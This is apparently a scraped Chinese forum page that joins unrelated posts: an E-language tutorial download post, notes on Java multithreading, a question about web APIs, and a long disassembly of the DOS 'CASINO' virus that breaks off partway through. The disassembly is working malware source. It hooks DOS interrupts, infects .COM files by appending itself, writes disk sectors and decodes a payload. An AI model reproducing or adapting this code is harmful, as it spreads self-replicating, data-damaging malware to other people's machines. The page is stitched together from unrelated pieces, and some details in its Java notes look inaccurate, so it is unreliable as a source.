本帖最后由 哥脫ㄋ,你随意 于 2014-3-26 23:18 编辑
首先申明:不是原创,只是一个内部的资源
以后会不定期的发布,这个系列有19课,已经算是很全的一套教程了。
%8:}%8:}%8:}%8:}%8:}
这是课后的习题(看完视频在做):
“第一个易程序”要求:1、 将窗口的宽度设置为:400;宽度设置成300。2、 将窗口的标题更改为:“第一个易程序”。3、 边框设置为:镜框式可调边框。4、 将窗口底色设置成黑色。5、 显示控制按钮,最大化按钮和最小化按钮为可视状态。~27!~27!~27!~27!~27!此教程适合刚学习易语言者,高手勿喷。这里是下载地址:链接提取码:SAJDXAxj(分大小写,最好复制)[查看全文]
不同于c++等语言的调用操作系统的线程调控机制来实现多线程,java语言内置了多线程的api包,因此可以更加方便的使用多线程技术。
(1)线程的问题。
进程是程序的一次动态执行过程,它对应了从代码加载、执行至执行完毕的一个完整过程,这个过程也是进程本身从产生、发展至消亡的过程。线程是比进程更小的单位,一个进程执行过程中可以产生多个线程,每个线程有自身的产生、存在和消亡的过程,也是一个动态的概念。每个进程都有一段专用的内存区域,而线程间可以共享相同的内存区域(包括代码和数据),并利用这些共享单元来实现数据交换、实时通信与必要的同步操作。
每个Java程序都有一个默认的主线程。Java程序总是从主类的main方法开始执行。当JVM加载代码,发现main方法后就启动一个线程,这个线程就称作"主线程",该线程负责执行main方法。在main方法中再创建的线程就是其他线程。
如果main方法中没有创建其他线程,那么当main方法返回时JVM就会结束Java应用程序。但如果main方法中创建了其他线程,那么JVM就要在主线程和其他线程之间轮流切换,保证每个线程都有机会使用CPU资源,main方法返回(主线程结束)JVM也不会结束,要一直等到该程序所有线程全部结束才结束Java程序(另外一种情况是:程序中调用了Runtime类的exit方法,并且安全管理器允许退出操作发生。这时JVM也会结束该程序)。
(2)JAVA多线程的两种使用方法
1、继承Thread类,覆盖run()方法:使用Thread子类创建线程的优点是可以在子类中增加新的成员变量或方法,使线程具有某种属性或功能。但Java不支持多继承,Thread类的子类不能再扩展其他的类。
2、实现Runnable接口:用Thread类直接创建线程对象,使用构造函数Thread(Runnable target)(参数target是一个Runnable接口),创建线程对象时必须向构造方法参数传递一个实现Runnable接口类的实例,该实例对象称作所创线程的目标对象。当线程调用start()方法,一旦轮到它使用CPU资源,目标对象自动调用接口中的run()方法(接口回调)。
线程间可以共享相同的内存单元(包括代码和数据),并利用这些共享单元来实现数据交换、实时通信与必要的同步操作。对于Thread(Runnable target)创建的使用同一目标对象的线程,可以共享该目标对象的成员变量和方法。
另外,创建目标对象类在必要时还可以是某个特定类的子类,因此,使用Runnable接口比使用Thread的子类更具有灵活性。
在线程中启动其他线程,当线程调用start()方法启动,使之从新建态进入就绪队列,一旦得到CPU资源就脱离创建它的主线程,开始自己的生命周期。个人觉得,接口技术相比与thread类更加深层次。
(3)多线程中的常用方法
【此处摘自jinguo的ITeye博客】
start():线程调用该方法将启动线程,从新建态进入就绪队列,一旦享用CPU资源就可以脱离创建它的线程,独立开始自己的生命周期。
run():Thread类的run()方法与Runnable接口中的run()方法功能和作用相同,都用来定义线程对象被调度后所进行的操作,都是系统自动调用而用户不得引用的方法。run()方法执行完毕,线程就成死亡状态,即线程释放了分配给它的内存(死亡态线程不能再调用start()方法)。在线程没有结束run()方法前,不能让线程再调用start()方法,否则将发生IllegalThreadStateException异常。
sleep(int millsecond):有时,优先级高的线程需要优先级低的线程做一些工作来配合它,此时为让优先级高的线程让出CPU资源,使得优先级低的线程有机会运行,可以使用sleep(int millsecond)方法。线程在休眠时被打断,JVM就抛出InterruptedException异常。因此,必须在try-catch语句块中调用sleep方法。
isAlive():当线程调用start()方法并占有CPU资源后该线程的run()方法开始运行,在run()方法没有结束之前调用isAlive()返回true,当线程处于新建态或死亡态时调用isAlive()返回false。
注意:一个已经运行的线程在没有进入死亡态时,不要再给它分配实体,由于线程只能引用最后分配的实体,先前的实体就成为了"垃圾",并且不能被垃圾回收机制收集。
currentThread():是Thread类的类方法,可以用类名调用,返回当前正在使用CPU资源的线程。
interrupt():当线程调用sleep()方法处于休眠状态,一个占有CPU资源的线程可以让休眠的线程调用interrupt()方法"吵醒"自己,即导致线程发生IllegalThreadStateException异常,从而结束休眠,重新排队等待CPU资源。
GUI线程:JVM在运行包含图形界面应用程序时,会自动启动更多线程,其中有两个重要的线程:AWT-EventQueue和AWT-Windows。AWT-EventQueue线程负责处理GUI事件,AWT-Windows线程负责将窗体或组件绘制到桌面。
线程同步:(用synchronized修饰某个方法,该方法修改需要同步的变量;或用volatile修饰基本变量)
当两个或多个线程同时访问一个变量,并且一个线程需要修改这个变量时,应对这样的问题进行处理,否则可能发生混乱。
要处理线程同步,可以把修改数据的方法用关键字synchronized修饰。一个方法使用synchronized修饰,当一个线程A使用这个方法时,其他线程想使用该方法时就必须等待,直到线程A使用完该方法。所谓同步就是多个线程都需要使用一个synchronized修饰的方法。
volatile比同步简单,只适合于控制对基本变量(整数、布尔变量等)的单个实例的访问。java中的volatile关键字与C++中一样,用volatile修饰的变量在读写操作时不会进行优化(取cache里的值以提高io速度),而是直接对主存进行操作,这表示所有线程在任何时候看到的volatile变量值都相同。
在同步方法中使用wait()、notify()、notifyAll()方法:
当一个线程使用的同步方法中用到某个变量,而此变量又需要其他线程修改后才能符合本线程需要,那么可以在同步方法中使用wait()方法。中断方法的执行,使本线程等待,暂时让出CPU资源,并允许其他线程使用这个同步方法。其他线程如果在使用这个同步方法时不需要等待,那么它使用完这个同步方法时应当用notifyAll()方法通知所有由于使用这个同步方法而处于等待的线程结束等待。曾中断的线程就会从中断处继续执行,并遵循"先中断先继续"的原则。如果用的notify()方法,那么只是通知等待中的线程中某一个结束等待。
计时器线程Timer:(Timer还有很多高级操作,详细见JDK,这里做个概述)
java.swing.Timer类用于周期性地执行某些操作。有两个常用构造函数
public Timer(int delay, ActionListener listener):参数listener是计时器的监视器,计时器发生振铃的事件是ActionEvent类型事件,当振铃事件发生,监视器会监视到这个事件并回调ActionListener接口中的actionPerformed(ActionEvent e)方法。
public Timer(int delay):使用该构造方法,计时器要再调用addActionListener(ActionListener listener)方法获得监视器。
如果想让计时器只震动一次,可以让计时器调用setRepeats(boolean b)方法,参数b取false即可。
计时器还可以调用setInitialDelay(int delay)方法设置首次振铃的延时,如果没有设置首次振铃默认延时为构造函数中的参数delay。
还可以调用getDelay()和setDelay(int delay)获取和设置延时。
计时器创建后调用start()启动,调用stop()停止,即挂起,调用restart()重新启动计时器,即恢复线程。
线程联合:
一个线程A在占有CPU资源期间,可以让其他线程调用join()方法和本线程联合,如:
B.join();
此时称A在运行期间联合了B。这时A线程立刻终端执行,一直等到它联合的线程B执行完毕,A线程再重新排队等待CPU资源。但如果A准备联合的线程B已经结束,则B.join()不会产生任何效果。
守护线程:
线程默认是非守护线程,非守护线程也称用户线程,一个线程调用setDaemon(boolean on)方法可以将自己设置成一个守护(Daemon)线程,如:
thread.setDaemon(true);
一个线程必须在自己运行之前设置自己是否是守护线程。守护线程是当程序中所有用户线程都已结束运行时即使守护线程的run()方法还有需要执行的语句,守护线程也会立刻结束运行。因此守护线程用于做一些不是很严格的工作,当线程随时结束时不会产生什么不良后果。
[查看全文]
很多网站都提供API,我理解就是个接口吧?不知道这个API有啥功能? 如果需要利用某网站上提供的API编程的话 不知道该怎么做? 用什么语言和软件来实现API编程? 回复给糖吃哦!
[查看全文]
;?????????????????????????????????????
;? ?
;? CASINO ?
;? ?
;? Created: 31-Aug-90 ?
;? Version: ?
;? Passes: 9 Analysis Options on: H ?
;? Copyright S & S International, 1990 ?
;? ?
;?????????????????????????????????????
DATA_1E EQU 60CH ; (0000:060C=0)
DATA_2E EQU 60DH ; (0000:060D=0)
DATA_3E EQU 60EH ; (0000:060E=0)
DATA_4E EQU 60FH ; (0000:060F=0)
DATA_5E EQU 610H ; (0000:0610=0)
DATA_6E EQU 611H ; (0000:0611=0)
DATA_7E EQU 612H ; (0000:0612=0)
DATA_8E EQU 2 ; (6AE6:0002=0)
DATA_10E EQU 3BH ; (6AE6:003B=0)
DATA_11E EQU 3DH ; (6AE6:003D=0)
DATA_12E EQU 3FH ; (6AE6:003F=0)
DATA_13E EQU 40H ; (6AE6:0040=0)
DATA_14E EQU 41H ; (6AE6:0041=0)
DATA_15E EQU 43H ; (6AE6:0043=6AE6h)
DATA_16E EQU 45H ; (6AE6:0045=0)
DATA_17E EQU 47H ; (6AE6:0047=6AE6h)
DATA_18E EQU 4DH ; (6AE6:004D=0)
DATA_19E EQU 68H ; (6AE6:0068=0)
DATA_20E EQU 7EH ; (6AE6:007E=0)
DATA_21E EQU 80H ; (6AE6:0080=0)
DATA_33E EQU 716EH ; (6AE6:716E=0)
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100H
CASINO PROC FAR
START:
NOP
DATA_23 DB 0E9H
DATA_24 DB 48H
DATA_25 DB 7, ' ;ello - Copyright S & S Intern'
DB ' ;ational, 1990', 0Ah, 0Dh, '$'
DB 1AH
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AA'
DB 0E6H
DB ' ;jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
CASINO ENDP
;?????????????????????????????????????
;
; External Entry Point
;
;?????????????????????????????????????
INT_24H_ENTRY PROC FAR
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
INC CX
MOV AH,9
MOV DX,OFFSET DATA_25 ; (6AE6:0103=7)
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
INT 20H ; Program Terminate
DB 0, 0, 0, 0, 0, 0FH
DB 0, 0, 0E9H, 0D3H, 1, 0E9H
DB 0, 0, 0, 90H, 0E9H, 78H
DB 2AH, 2AH, 2EH, 43H, 4FH, 4DH
DB 0
DB ' ;C:\COMMAND.COM'
DB 0, 43H, 4FH, 4DH, 4DH, 41H
DB 4EH, 44H, 0FFH
DB 2EH, 43H, 4FH, 4DH
DB 15 DUP (0)
DB 3FH, 0, 0F0H, 3, 2, 0
DB 0B3H, 4BH, 0FCH, 91H, 56H, 5
DB 79H, 10H, 0, 0, 0, 0
DB 0, 3
DB 8 DUP (3FH)
DB 43H, 4FH, 4DH, 3FH, 8, 0
DB 1EH, 2, 2EH, 8BH, 26H, 68H
DB 20H, 0A9H, 8EH, 1FH, 15H, 0E8H
DB 3, 0, 0
DB ' ;H1000.COM'
DB 9 DUP (0)
DB 1FH, 15H, 0A9H, 8EH, 90H, 90H
DB 3DH, 59H, 4BH, 75H, 4, 0B8H
DB 66H, 6, 0CFH, 80H, 0FCH, 11H
DB 74H, 8, 80H, 0FCH, 12H, 74H
DB 3, 0EBH, 51H, 90H
LOC_2:
CMP AL,66H ; 'f'
JE LOC_4 ; Jump if equal
MOV AL,66H ; 'f'
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
MOV AH,2FH ; '/'
INT 21H ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
MOV AL,ES:[BX+10H]
CMP AL,43H ; 'C'
JNE LOC_3 ; Jump if not equal
MOV AL,ES:[BX+11H]
CMP AL,4FH ; 'O'
JNE LOC_3 ; Jump if not equal
MOV AL,ES:[BX+12H]
CMP AL,4DH ; 'M'
JNE LOC_3 ; Jump if not equal
MOV AX,ES:[BX+24H]
CMP AX,91AH
JB LOC_3 ; Jump if below
SUB AX,91AH
MOV CX,AX
PUSH CX
MOV CX,10H
MOV DX,0
DIV CX ; ax,dx rem=dx:ax/reg
POP CX
CMP DX,0
JNE LOC_3 ; Jump if not equal
MOV ES:[BX+24H],CX
LOC_3:
POP ES
POP DX
POP CX
POP BX
POP AX
IRET ; Interrupt return
INT_24H_ENTRY ENDP
LOC_4:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH BP
PUSH DS
PUSH ES
MOV BX,CS
MOV DS,BX
MOV AL,0
MOV DS:DATA_18E,AL ; (6AE6:004D=0)
MOV AL,DS:DATA_13E ; (6AE6:0040=0)
CMP AL,0FFH
JNE LOC_5 ; Jump if not equal
JMP LOC_15 ; (06B2)
LOC_5:
MOV AL,0FFH
MOV DS:DATA_13E,AL ; (6AE6:0040=0)
CMP AH,4BH ; 'K'
JE LOC_6 ; Jump if equal
CMP AH,36H ; '6'
JE LOC_7 ; Jump if equal
JMP LOC_15 ; (06B2)
LOC_6:
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
MOV DS:DATA_12E,AL ; (6AE6:003F=0)
JMP SHORT LOC_8 ; (0624)
DB 90H
LOC_7:
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
MOV DS:DATA_12E,AL ; (6AE6:003F=0)
CMP DL,0
JE LOC_8 ; Jump if equal
DEC DL
MOV AH,0EH
INT 21H ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
LOC_8:
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
CMP AL,1
JA LOC_9 ; Jump if above
MOV CH,0
PUSH DS
POP ES
MOV BX,917H
MOV AL,1
CALL SUB_3 ; (07DB)
MOV AL,1
CALL SUB_4 ; (07EC)
CMP AH,0
JE LOC_9 ; Jump if equal
JMP SHORT LOC_14 ; (069C)
DB 90H
LOC_9:
MOV AH,2FH ; '/'
INT 21H ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
MOV DS:DATA_14E,BX ; (6AE6:0041=0)
MOV DS:DATA_15E,ES ; (6AE6:0043=6AE6h)
MOV DX,4EH
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV DX,0BH
MOV CX,3FH
MOV AH,4EH ; 'N'
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_14 ; Jump if carry Set
MOV DX,6CH
CALL SUB_1 ; (06EE)
CMP DL,1
JNE LOC_10 ; Jump if not equal
CALL SUB_2 ; (073C)
JMP SHORT LOC_14 ; (069C)
DB 90H
LOC_10:
CMP DL,3
JE LOC_11 ; Jump if equal
JMP SHORT LOC_14 ; (069C)
DB 90H
LOC_11:
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JNC LOC_12 ; Jump if carry=0
JMP SHORT LOC_14 ; (069C)
DB 90H
LOC_12:
MOV DX,6CH
CALL SUB_1 ; (06EE)
CMP DL,1
JNE LOC_13 ; Jump if not equal
CALL SUB_2 ; (073C)
JMP SHORT LOC_14 ; (069C)
DB 90H
LOC_13:
CMP DL,3
JE LOC_11 ; Jump if equal
LOC_14:
MOV DL,DS:DATA_12E ; (6AE6:003F=0)
MOV AH,0EH
INT 21H ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
MOV DX,DS:DATA_14E ; (6AE6:0041=0)
MOV BX,DS:DATA_15E ; (6AE6:0043=6AE6h)
MOV DS,BX
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
LOC_15:
MOV AH,0
MOV DS:DATA_13E,AH ; (6AE6:0040=0)
POP ES
POP DS
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
;* jmp far ptr loc_1 ;*(0273:1460)
DB 0EAH, 60H, 14H, 73H, 2
DB 8CH, 0CAH, 83H, 0C2H, 10H, 8EH
DB 0DAH, 0BAH, 20H, 0, 0B4H, 41H
DB 0CDH, 21H, 0B8H, 21H, 35H, 0CDH
DB 21H, 8CH, 6, 0D4H, 1, 89H
DB 1EH, 0D2H, 1, 0BAH, 82H, 0
DB 0B8H, 21H, 25H, 0CDH, 21H, 0BAH
DB 1BH, 0CH, 0CDH
DB 27H
;?????????????????????????????????????
; SUBROUTINE
;?????????????????????????????????????
SUB_1 PROC NEAR
MOV AX,DS:DATA_19E ; (6AE6:0068=0)
CMP AX,0F5B9H
JA LOC_20 ; Jump if above
MOV AX,4300H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
TEST CL,4
JNZ LOC_20 ; Jump if not zero
TEST CL,1
JZ LOC_16 ; Jump if zero
AND CL,0FEH
MOV AX,4301H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
LOC_16:
MOV AX,3D02H
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
MOV BX,AX
MOV DX,3
MOV CX,1
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
JNC LOC_17 ; Jump if carry=0
JMP SHORT LOC_19 ; (0732)
DB 90H
LOC_17:
CMP AX,0
JNE LOC_18 ; Jump if not equal
JMP SHORT LOC_19 ; (0732)
DB 90H
LOC_18:
MOV AL,BYTE PTR DS:DATA_8E+1 ; (6AE6:0003=0)
CMP AL,90H
JNE LOC_21 ; Jump if not equal
LOC_19:
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
LOC_20:
MOV DL,3
retn
LOC_21:
MOV DL,1
retn
SUB_1 ENDP
;?????????????????????????????????????
; SUBROUTINE
;?????????????????????????????????????
SUB_2 PROC NEAR
MOV AX,5700H
INT 21H ; DOS Services ah=function 57h
; get/set file date & time
MOV DS:DATA_20E,DX ; (6AE6:007E=0)
MOV DS:DATA_21E,CX ; (6AE6:0080=0)
PUSH BX
CALL SUB_5 ; (07FD)
MOV BX,68H
MOV AX,[BX]
MOV DX,0
MOV BX,10H
DIV BX ; ax,dx rem=dx:ax/reg
INC AX
MOV DS:DATA_10E,AX ; (6AE6:003B=0)
MUL BX ; dx:ax = reg * ax
MOV DS:DATA_11E,AX ; (6AE6:003D=0)
POP BX
MOV CX,DS:DATA_10E ; (6AE6:003B=0)
MOV SI,35FH
MOV [SI],CX
MOV CX,0
MOV DX,0
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
MOV DX,605H
MOV CX,4
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
MOV CX,0
MOV DX,DS:DATA_11E ; (6AE6:003D=0)
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
MOV DX,0
MOV CX,91AH
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
CMP AX,CX
JB LOC_22 ; Jump if below
MOV AL,DS:DATA_18E ; (6AE6:004D=0)
CMP AL,1
JE LOC_22 ; Jump if equal
MOV CX,0
MOV DX,0
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
MOV SI,9
MOV AX,DS:DATA_11E ; (6AE6:003D=0)
ADD AX,35CH
SUB AX,4
MOV [SI],AX
MOV DX,7
MOV CX,4
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_22:
MOV DX,DS:DATA_20E ; (6AE6:007E=0)
MOV CX,DS:DATA_21E ; (6AE6:0080=0)
MOV AX,5701H
INT 21H ; DOS Services ah=function 57h
; get/set file date & time
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
CALL SUB_6 ; (0813)
retn
SUB_2 ENDP
;?????????????????????????????????????
; SUBROUTINE
;?????????????????????????????????????
SUB_3 PROC NEAR
PUSH AX
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
MOV DL,AL
POP AX
MOV DH,0
MOV CL,1
MOV AH,2
INT 13H ; Disk dl=drive #: ah=func b2h
; read sectors to memory es:bx
retn
SUB_3 ENDP
;?????????????????????????????????????
; SUBROUTINE
;?????????????????????????????????????
SUB_4 PROC NEAR
PUSH AX
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
MOV DL,AL
POP AX
MOV DH,0
MOV CL,1
MOV AH,3
INT 13H ; Disk dl=drive #: ah=func b3h
; write sectors from mem es:bx
retn
SUB_4 ENDP
;?????????????????????????????????????
; SUBROUTINE
;?????????????????????????????????????
SUB_5 PROC NEAR
MOV AX,3524H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DS:DATA_16E,BX ; (6AE6:0045=0)
MOV DS:DATA_17E,ES ; (6AE6:0047=6AE6h)
MOV DX,335H
MOV AX,2524H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
retn
SUB_5 ENDP
;?????????????????????????????????????
; SUBROUTINE
;?????????????????????????????????????
SUB_6 PROC NEAR
MOV DX,DS:DATA_16E ; (6AE6:0045=0)
MOV CX,DS:DATA_17E ; (6AE6:0047=6AE6h)
PUSH DS
PUSH CX
POP DS
MOV AX,2524H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
retn
SUB_6 ENDP
DB 50H, 53H, 51H, 52H, 1EH, 6
DB 0B4H, 0, 0CDH, 13H, 0B4H, 1
DB 88H, 26H, 4DH, 0, 0BFH, 0FFH
DB 0FFH, 8EH, 6, 49H, 0, 8BH
DB 1EH, 4BH, 0, 0B0H, 0, 26H
DB 88H, 7, 7, 1FH, 5AH, 59H
DB 5BH, 58H, 0CFH, 8CH, 0CAH, 0B9H
DB 3FH, 0, 3, 0D1H, 83H, 0C2H
DB 10H, 8EH, 0DAH, 0A1H, 3DH, 0
DB 5, 3, 6, 0BBH, 0FEH, 0FFH
DB 2BH, 0D8H, 89H, 1EH, 3, 6
DB 0BBH, 5, 6, 8AH, 7, 2EH
DB 0A2H, 0, 1, 43H, 8AH, 7
DB 2EH, 0A2H, 1, 1, 43H, 8AH
DB 7, 2EH, 0A2H, 2, 1, 43H
DB 8AH, 7, 2EH, 0A2H, 3, 1
DB 0B4H, 2AH, 0CDH, 21H, 80H, 0FAH
DB 0FH, 74H, 3, 0E9H, 0A2H, 1
LOC_23:
CMP DH,1
JE LOC_24 ; Jump if equal
CMP DH,4
JE LOC_24 ; Jump if equal
CMP DH,8
JE LOC_24 ; Jump if equal
JMP LOC_36 ; (0A33)
LOC_24:
CALL SUB_8 ; (09EB)
PUSH DS
POP ES
MOV SI,613H
MOV DI,613H
MOV CX,305H
CLD ; Clear direction
LOCLOOP_25:
LODSB ; String [si] to al
SUB AL,64H ; 'd'
STOSB ; Store al to es:[di]
LOOP LOCLOOP_25 ; Loop if cx > 0
MOV DX,613H
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
LOC_26:
MOV AH,7
INT 21H ; DOS Services ah=function 07h
; get keybd char al, no echo
MOV BYTE PTR DS:DATA_2E,64H ; (0000:060D=0) 'd'
NOP
MOV BYTE PTR DS:DATA_3E,78H ; (0000:060E=0) 'x'
NOP
MOV BYTE PTR DS:DATA_4E,0B4H ; (0000:060F=0)
NOP
MOV AH,2CH ; ','
INT 21H ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dh=sec
MOV BL,DH
MOV BH,0
MOV CH,0
MOV DH,0
ADD CL,DL
MOV AX,CX
MOV CL,3
DIV CL ; al, ah rem = ax/reg
MOV DS:DATA_5E,AH ; (0000:0610=0)
MOV AX,DX
MOV DL,3
DIV DL ; al, ah rem = ax/reg
MOV DS:DATA_6E,AH ; (0000:0611=0)
MOV AX,BX
DIV DL ; al, ah rem = ax/reg
MOV DS:DATA_7E,AH ; (0000:0612=0)
DEC BYTE PTR DS:DATA_1E ; (0000:060C=0)
MOV AL,DS:DATA_1E ; (0000:060C=0)
ADD AL,30H ; '0'
MOV DH,0DH
MOV DL,26H ; '&'
MOV BX,0
MOV AH,2
INT 10H ; Video display ah=functn 02h
; set cursor location in dx
MOV AH,0EH
INT 10H ; Video display ah=functn 0Eh
; write char al, teletype mode
LOC_27:
MOV DX,1FFFH
LOC_28:
NOP
NOP
NOP
DEC DX
JNZ LOC_28 ; Jump if not zero
MOV AL,DS:DATA_2E ; (0000:060D=0)
CMP AL,DS:DATA_5E ; (0000:0610=0)
JE LOC_29 ; Jump if equal
MOV DL,19H
MOV AL,DS:DATA_2E ; (0000:060D=0)
CALL SUB_7 ; (09C9)
MOV AL,DS:DATA_2E ; (0000:060D=0)
DEC AL
MOV DS:DATA_2E,AL ; (0000:060D=0)
LOC_29:
MOV AL,DS:DATA_3E ; (0000:060E=0)
CMP AL,DS:DATA_6E ; (0000:0611=0)
JE LOC_30 ; Jump if equal
MOV DL,21H ; '!'
MOV AL,DS:DATA_3E ; (0000:060E=0)
CALL SUB_7 ; (09C9)
DEC BYTE PTR DS:DATA_3E ; (0000:060E=0)
